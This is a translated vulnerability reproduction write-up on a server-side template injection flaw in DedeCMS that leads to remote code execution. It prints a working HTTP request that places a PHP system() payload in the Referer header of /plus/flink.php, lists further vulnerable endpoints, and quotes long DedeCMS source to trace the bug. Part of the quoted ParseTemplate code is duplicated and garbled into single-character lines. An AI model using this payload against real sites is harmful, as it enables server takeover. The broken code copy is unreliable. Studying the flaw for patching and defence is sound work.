Vulnerability type
SSTI RCE
Utilization conditions
Scope of influence application
Vulnerability overview
On September 30, 2021, Steven Seeley, a foreign security researcher, disclosed an SQL injection vulnerability and an RCE vulnerability caused by SSTI in the latest DedeCMS version. Because the utilization conditions of SQL injection vulnerability are extremely harsh, only the SSTI injection vulnerability is briefly analyzed and reproduced here
Construction of leakage environment
[technical learning materials]
Loophole recurrence
phpstudy is used here to build the environment
Website front desk: http://192.168.59.1/index.php?upcache=1
Website background: http://192.168.59.1/dede/login.php?gotopa …
Exploit vulnerability
GET /plus/flink.php?dopost=save HTTP/1.1 Host: 192.168.59.1 Referer: <?php "system"(whoami);die;/* Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390 Connection: close
Similar URL s include:
/plus/flink.php?dopost=save /plus/users_products.php?oid=1337 /plus/download.php?aid=1337 /plus/showphoto.php?aid=1337 /plus/users-do.php?fmdo=sendMail /plus/posttocar.php?id=1337 /plus/recommend.php
Vulnerability analysis
The vulnerability entry is located in the plus / flex.php file. In this file, if the dopost value passed in is save and the verification code is not passed, we will call the ShowMsg function immediately:
The trace then enters the ShowMsg() function in the include/common.func.php file
/** * The short message function can provide friendly prompt information after an action is processed * * @param string $msg Message prompt * @param string $gourl Jump address * @param int $onlymsg Show information only * @param int $limittime Limit time * @return void */ function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0) { if (empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if ($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if ($gourl == "") { $gourl = -1; } } $htmlhead = " <html>\r\n<head>\r\n<title>DedeCMS Prompt information</title>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" /> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\"> <meta name=\"renderer\" content=\"webkit\"> <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\"> <base target='_self'/> </head> <body> " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . " <center style=\"width:450px\" class=\"uk-container\"> <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\"> <div class=\"uk-card-header\" style=\"height:20px\">DedeCMS Prompt information!</div> <script>\r\n"; $htmlfoot = " </script> </center> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script> </body>\r\n</html>\r\n"; $litime = ($limittime == 0 ? 1000 : $limittime); $func = ''; if ($gourl == '-1') { if ($limittime == 0) { $litime = 3000; } $gourl = "javascript:history.go(-1);"; } if ($gourl == '' || $onlymsg == 1) { $msg = "<script>alert(\"" . str_replace("\"", """, $msg) . "\");</script>"; } else { //When the web address is: close::objname, close the id=objname element of the parent framework if (preg_match('/close::/', $gourl)) { $tgobj = trim(preg_replace('/close::/', '', $gourl)); $gourl = 'javascript:;'; $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n"; } $func .= "var pgo=0; function JumpUrl(){ if(pgo==0){ location='$gourl'; pgo=1; } }\r\n"; $rmsg = $func; $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n"; $rmsg .= "document.write(\"" . str_replace("\"", """, $msg) . "\");\r\n"; $rmsg .= "document.write(\""; if ($onlymsg == 0) { if ($gourl != 'javascript:;' && $gourl != '') { $rmsg .= "<br /><a href='{$gourl}'>If your browser doesn't respond, please click here...</a>"; $rmsg .= "<br/></div>\");\r\n"; $rmsg .= "setTimeout('JumpUrl()',$litime);"; } else { $rmsg .= "<br/></div>\");\r\n"; } } else { $rmsg .= "<br/><br/></div>\");\r\n"; } $msg = $htmlhead . $rmsg . $htmlfoot; } $tpl = new DedeTemplate(); $tpl->LoadString($msg); $tpl->Display(); }
Here we can see that if the gourl is set to − 1 (indirectly controllable), the attacker can control the value of the variable at the gourl through httpreferr, and the variable is directly assigned to the variable gourl without filtering. After a series of operations, the gourl is spliced with html code, and then tpl − > loadstring is called for page rendering, Following up LoadString, you can see that the sourceString variable here is directly assigned by str, which is controllable by attackers. After that, md5 is calculated, then the cache file and cache configuration file name are set, the cache file is located in the data\tplcache directory, and then ParserTemplate is used to parse the file.
ParserTemplate is as follows:
/** * Parsing template * * @access public * @return void */ public function ParseTemplate() { if ($this->makeLoop > 5) { return; } $this->count = -1; $this->cTags = array(); $this->isParse = true; $sPos = 0; $ePos = 0; $tagStartWord = $this->tagStartWord; $fullTagEndWord = $this->fullTagEndWord; $sTagEndWord = $this->sTagEndWord; $tagEndWord = $this->tagEndWord; $startWordLen = strlen($tagStartWord); $sourceLen = strlen($this->sourceString); if ($sourceLen <= ($startWordLen + 3)) { return; } $cAtt = new TagAttributeParse(); $cAtt->CharToLow = true; //To traverse the template string, please get the tag and its attribute information $t = 0; $preTag = ''; $tswLen = strlen($tagStartWord); @$cAtt->cAttributes->items = array(); for ($i = 0; $i < $sourceLen; $i++) { $ttagName = ''; //If this judgment is not made, the two connected marks will not be recognized if ($i - 1 >= 0) { $ss = $i - 1; } else { $ss = 0; } $tagPos = strpos($this->sourceString, $tagStartWord, $ss); //Determine whether there are template marks behind if ($tagPos == 0 && ($sourceLen - $i < $tswLen || substr($this->sourceString, $i, $tswLen) != $tagStartWord) ) { $tagPos = -1; break; } //Get TAG basic information for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) { if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) { break; } else { $ttagName .= $this->sourceString[$j]; } } if ($ttagName != '') { $i = $tagPos + $startWordLen; $endPos = -1; //Judge '/}' {tag: start of next tag '{/ tag: end of tag' who is closest $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord; $e1 = strpos($this->sourceString, $sTagEndWord, $i); $e2 = strpos($this->sourceString, $tagStartWord, $i); $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i); $e1 = trim($e1); $e2 = trim($e2); $e3 = trim($e3); $e1 = ($e1 == '' ? '-1' : $e1); $e2 = ($e2 == '' ? '-1' : $e2); $e3 = ($e3 == '' ? '-1' : $e3); if ($e3 == -1) { //'{/ tag: tag' does not exist $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else if ($e1 == -1) { //'/}' does not exist $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } //Both '/}' and '{/ tag: tag' exist else { //If '/}' is closer than '{tag:', '{/ tag: tag', the end flag is considered '/}', otherwise the end flag is' {/ tag: tag ' if ($e1 < $e2 && $e1 < $e3) { $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else { $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } } //If the end tag is not found, the tag is considered to be in error if ($endPos == -1) { echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n"; break; } $i = $elen; //Analyze the location and other information of the found mark $attStr = ''; $innerText = ''; $startInner = 0; for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) { if ($startInner == 0) { if ($this->sourceString[$j] == $tagEndWord) { $startInner = 1; continue; } else { $attStr .= $this->sourceString[$j]; } } else { $innerText .= $this->sourceString[$j]; } } $ttagName = strtolower($ttagName); //if, php tags, treat the entire attribute string as an attribute if (preg_match("/^if[0-9]{0,}$/", $ttagName)) { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr); $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText); } else if ($ttagName == 'php') { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim( preg_replace( "/^php[0-9]{0,}[\r\n\t ]/", "", $attStr ) ) . "\r\n?" . '>'; } else { //Common tags, interpreting attributes $cAtt->SetSource($attStr); } $this->count++; $cTag = new Tag(); $cTag->tagName = $ttagName; $cTag->startPos = $tagPos; $cTag->endPos = $i; $cTag->cAtt = $cAtt->cAttributes; $cTag->isCompiler = false; $cTag->tagID = $this->count; $cTag->innerText = $innerText; $this->cTags[$this->count] = $cTag; } else { $i = $tagPos + $startWordLen; break; } } //End traversal of template string if ($this->count > -1 && $this->isCompiler) { $this->CompilerAll(); } }
Then return to the previous level, where the Display function will be called to Display the parsing results, and the WriteCache function will be called here
ParserTemplate is as follows:
/**
*Parsing template
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
s
t
a
r
t
W
o
r
d
L
e
n
=
s
t
r
l
e
n
(
startWordLen = strlen(
startWordLen=strlen(tagStartWord);
s
o
u
r
c
e
L
e
n
=
s
t
r
l
e
n
(
sourceLen = strlen(
sourceLen=strlen(this->sourceString);
if (
s
o
u
r
c
e
L
e
n
<
=
(
sourceLen <= (
sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;
//To traverse the template string, please get the tag and its attribute information $t = 0; $preTag = ''; $tswLen = strlen($tagStartWord); @$cAtt->cAttributes->items = array(); for ($i = 0; $i < $sourceLen; $i++) { $ttagName = ''; //If this judgment is not made, the two connected marks will not be recognized if ($i - 1 >= 0) { $ss = $i - 1; } else { $ss = 0; } $tagPos = strpos($this->sourceString, $tagStartWord, $ss); //Determine whether there are template marks behind if ($tagPos == 0 && ($sourceLen - $i < $tswLen || substr($this->sourceString, $i, $tswLen) != $tagStartWord) ) { $tagPos = -1; break; } //Get TAG basic information for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) { if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) { break; } else { $ttagName .= $this->sourceString[$j]; } } if ($ttagName != '') { $i = $tagPos + $startWordLen; $endPos = -1; //Judge '/}' {tag: start of next tag '{/ tag: end of tag' who is closest $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord; $e1 = strpos($this->sourceString, $sTagEndWord, $i); $e2 = strpos($this->sourceString, $tagStartWord, $i); $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i); $e1 = trim($e1); $e2 = trim($e2); $e3 = trim($e3); $e1 = ($e1 == '' ? '-1' : $e1); $e2 = ($e2 == '' ? '-1' : $e2); $e3 = ($e3 == '' ? '-1' : $e3); if ($e3 == -1) { //'{/ tag: tag' does not exist $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else if ($e1 == -1) { //'/}' does not exist $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } //Both '/}' and '{/ tag: tag' exist else { //If '/}' is closer than '{tag:', '{/ tag: tag', the end flag is considered '/}', otherwise the end flag is' {/ tag: tag ' if ($e1 < $e2 && $e1 < $e3) { $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else { $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } } //If the end tag is not found, the tag is considered to be in error if ($endPos == -1) { echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n"; break; } $i = $elen; //Analyze the location and other information of the found mark $attStr = ''; $innerText = ''; $startInner = 0; for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) { if ($startInner == 0) { if ($this->sourceString[$j] == $tagEndWord) { $startInner = 1; continue; } else { $attStr .= $this->sourceString[$j]; } } else { $innerText .= $this->sourceString[$j]; } } $ttagName = strtolower($ttagName); //if, php tags, treat the entire attribute string as an attribute if (preg_match("/^if[0-9]{0,}$/", $ttagName)) { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr); $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText); } else if ($ttagName == 'php') { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim( preg_replace( "/^php[0-9]{0,}[\r\n\t ]/", "", $attStr ) ) . "\r\n?" . '>'; } else { //Common tags, interpreting attributes $cAtt->SetSource($attStr); } $this->count++; $cTag = new Tag(); $cTag->tagName = $ttagName; $cTag->startPos = $tagPos; $cTag->endPos = $i; $cTag->cAtt = $cAtt->cAttributes; $cTag->isCompiler = false; $cTag->tagID = $this->count; $cTag->innerText = $innerText; $this->cTags[$this->count] = $cTag; } else { $i = $tagPos + $startWordLen; break; } } //End traversal of template string if ($this->count > -1 && $this->isCompiler) { $this->CompilerAll(); } }
Then return to the previous level, where the Display function will be called to Display the parsing results, and the WriteCache function will be called here
Write cache file in WriteCache function:
Here, use the GetResult return value sourceString to set the $result variable, which contains the attacker controlled input data:
After that, the CheckDisabledFunctions function is called for the check operation. This function is mainly used to check whether there is a forbidden function, and then gets the input through the token_get_all_nl function. However, there is no double sign in the processing, and there is a risk of being circumvented. The attacker can write the malicious PHP to the temporary file and then pass the include $tpl->CacheFile (Display) at the Display function. Include malicious temporary files for remote code execution:
Safety advice
At present, the latest version of DedeCMS V5.7.80 UTF-8 has been officially released. It is recommended to upgrade to this version
Click Get[ Network security learning materials · introduction]